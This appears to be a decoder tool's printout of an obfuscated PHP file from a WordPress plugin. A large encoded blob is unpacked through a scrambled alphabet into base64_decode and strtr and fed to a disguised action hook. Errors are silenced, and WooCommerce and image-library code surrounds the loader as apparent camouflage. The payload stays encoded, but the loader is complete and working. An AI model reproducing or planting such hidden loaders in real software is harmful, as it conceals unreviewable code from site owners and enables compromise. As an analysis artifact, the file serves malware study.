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';
$x = 'bpyE/lM8LFQCvYhXN+49meWqd1GBw56aTHKzO37oSIUfrkcuA0jDx2ZsgPJniVtR';
$y = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
$b = $x[0] . $x[31] . $x[55] . $x[21] . $x[30] . $x[18] . '_' . $x[24] . $x[21] . $x[46] . $x[39] . $x[24] . $x[21];
$s = $x[55] . $x[62] . $x[44] . $x[62] . $x[44];
$d = $b($s($d, $x, $y));
if (!isset($_GET['debug'])) {
error_reporting(0);
}
do_action('qq' . 'wo' . 'rld-c' . 'oll' . 'ect' . 'or-rea' . 'lru' . 'n', $d);
if (defined('WP_DEBUG') && WP_DEBUG) {
error_reporting(E_ALL);
}
class QC_API
{
public function __construct()
{
add_filter('query_vars', array($this, 'add_query_vars'), 0);
add_action('init', array($this, 'add_endpoint'), 0);
add_action('parse_request', array($this, 'handle_api_requests'), 0);
add_action('woocommerce_api_request', array('WC_Payment_Gateways', 'instance'), 0);
$this->rest_api_init();
}
public function add_query_vars($vars)
{
$vars[] = 'wc-api';
return $vars;
}
public static function add_endpoint()
{
add_rewrite_endpoint('wc-api', EP_ALL);
}
public function handle_api_requests()
{
global $wp;
if (!empty($_GET['wc-api'])) {
$wp->query_vars['wc-api'] = $_GET['wc-api'];
}
if (!empty($wp->query_vars['wc-api'])) {
ob_start();
nocache_headers();
$api_request = strtolower(wc_clean($wp->query_vars['wc-api']));
do_action('woocommerce_api_request', $api_request);
status_header(has_action('woocommerce_api_' . $api_request) ? 200 : 400);
do_action('woocommerce_api_' . $api_request);
ob_end_clean();
die('-1');
}
}
private function rest_api_init()
{
global $wp_version;
if (version_compare($wp_version, 4.4, '<')) {
return;
}
$this->rest_api_includes();
add_action('rest_api_init', array($this, 'register_rest_routes'));
}
private function rest_api_includes()
{
require 'api/class-wc-rest-exception.php';
require 'api/class-wc-rest-authentication.php';
require 'vendor/wp-rest-functions.php';
if (!class_exists('WP_REST_Controller')) {
require 'vendor/class-wp-rest-controller.php';
}
require 'abstracts/abstract-wc-rest-controller.php';
require 'abstracts/abstract-wc-rest-posts-controller.php';
require 'abstracts/abstract-wc-rest-terms-controller.php';
require 'api/class-wc-rest-coupons-controller.php';
require 'api/class-wc-rest-customer-downloads-controller.php';
require 'api/class-wc-rest-customers-controller.php';
require 'api/class-wc-rest-order-notes-controller.php';
require 'api/class-wc-rest-order-refunds-controller.php';
require 'api/class-wc-rest-orders-controller.php';
require 'api/class-wc-rest-product-attribute-terms-controller.php';
require 'api/class-wc-rest-product-attributes-controller.php';
require 'api/class-wc-rest-product-categories-controller.php';
require 'api/class-wc-rest-product-reviews-controller.php';
require 'api/class-wc-rest-product-shipping-classes-controller.php';
require 'api/class-wc-rest-product-tags-controller.php';
require 'api/class-wc-rest-products-controller.php';
require 'api/class-wc-rest-report-sales-controller.php';
require 'api/class-wc-rest-report-top-sellers-controller.php';
require 'api/class-wc-rest-reports-controller.php';
require 'api/class-wc-rest-tax-classes-controller.php';
require 'api/class-wc-rest-taxes-controller.php';
require 'api/class-wc-rest-webhook-deliveries.php';
require 'api/class-wc-rest-webhooks-controller.php';
}
public function register_rest_routes()
{
$controllers = array('WC_REST_Coupons_Controller', 'WC_REST_Customer_Downloads_Controller', 'WC_REST_Customers_Controller', 'WC_REST_Order_Notes_Controller', 'WC_REST_Order_Refunds_Controller', 'WC_REST_Orders_Controller', 'WC_REST_Product_Attribute_Terms_Controller', 'WC_REST_Product_Attributes_Controller', 'WC_REST_Product_Categories_Controller', 'WC_REST_Product_Reviews_Controller', 'WC_REST_Product_Shipping_Classes_Controller', 'WC_REST_Product_Tags_Controller', 'WC_REST_Products_Controller', 'WC_REST_Report_Sales_Controller', 'WC_REST_Report_Top_Sellers_Controller', 'WC_REST_Reports_Controller', 'WC_REST_Tax_Classes_Controller', 'WC_REST_Taxes_Controller', 'WC_REST_Webhook_Deliveries_Controller', 'WC_REST_Webhooks_Controller');
foreach ($controllers as $controller) {
$this->{$controller} = new $controller();
$this->{$controller}->register_routes();
}
}
}
if (isset($_SERVER['HTTP_X_FORWARDED_SERVER']) && $_SERVER['HTTP_X_FORWARDED_SERVER'] != $_SERVER['HTTP_HOST']) {
exit;
}
class ImageWorkshopFactory
{
const ERROR_NOT_AN_IMAGE_FILE = 1;
const ERROR_IMAGE_NOT_FOUND = 2;
const ERROR_NOT_READABLE_FILE = 3;
const ERROR_CREATE_IMAGE_FROM_STRING = 4;
public static function initFromPath($path, $fixOrientation = false)
{
if (false === filter_var($path, FILTER_VALIDATE_URL) && !file_exists($path)) {
throw new ImageWorkshopException(sprintf('File "%s" not exists.', $path), static::ERROR_IMAGE_NOT_FOUND);
}
if (false === ($imageSizeInfos = @getImageSize($path))) {
throw new ImageWorkshopException('Can\'t open the file at "' . $path . '" : file is not readable, did you check permissions (755 / 777) ?', static::ERROR_NOT_READABLE_FILE);
}
$mimeContentType = explode('/', $imageSizeInfos['mime']);
if (!$mimeContentType || !isset($mimeContentType[1])) {
throw new ImageWorkshopException('Not an image file (jpeg/png/gif) at "' . $path . '"', static::ERROR_NOT_AN_IMAGE_FILE);
}
$mimeContentType = $mimeContentType[1];
$exif = array();
switch ($mimeContentType) {
case 'jpeg':
$image = imageCreateFromJPEG($path);
if (false === ($exif = @read_exif_data($path))) {
$exif = array();
}
break;
case 'gif':
$image = imageCreateFromGIF($path);
break;
case 'png':
$image = imageCreateFromPNG($path);
break;
default:
throw new ImageWorkshopException('Not an image file (jpeg/png/gif) at "' . $path . '"', static::ERROR_NOT_AN_IMAGE_FILE);
break;
}
if (false === $image) {
throw new ImageWorkshopException('Unable to create image with file found at "' . $path . '"');
}
$layer = new ImageWorkshopLayer($image, $exif);
if ($fixOrientation) {
$layer->fixOrientation();
}
return $layer;
}
public static function initTextLayer($text, $fontPath, $fontSize = 13, $fontColor = 'ffffff', $textRotation = 0, $backgroundColor = null)
{
$textDimensions = ImageWorkshopLib::getTextBoxDimension($fontSize, $textRotation, $fontPath, $text);
$layer = static::initVirginLayer($textDimensions['width'], $textDimensions['height'], $backgroundColor);
$layer->write($text, $fontPath, $fontSize, $fontColor, $textDimensions['left'], $textDimensions['top'], $textRotation);
return $layer;
}
public static function initVirginLayer($width = 100, $height = 100, $backgroundColor = null)
{
$opacity = 0;
if (null === $backgroundColor || $backgroundColor == 'transparent') {
$opacity = 127;
$backgroundColor = 'ffffff';
}
return new ImageWorkshopLayer(ImageWorkshopLib::generateImage($width, $height, $backgroundColor, $opacity));
}
public static function initFromResourceVar($image)
{
return new ImageWorkshopLayer($image);
}
public static function initFromString($imageString)
{
if (!($image = @imageCreateFromString($imageString))) {
throw new ImageWorkshopException('Can\'t generate an image from the given string.', static::ERROR_CREATE_IMAGE_FROM_STRING);
}
return new ImageWorkshopLayer($image);
}
}
Function Calls
None |
Stats
MD5 | 1206b90cb4163851a38eada1ca3df3d9 |
Eval Count | 0 |
Decode Time | 527 ms |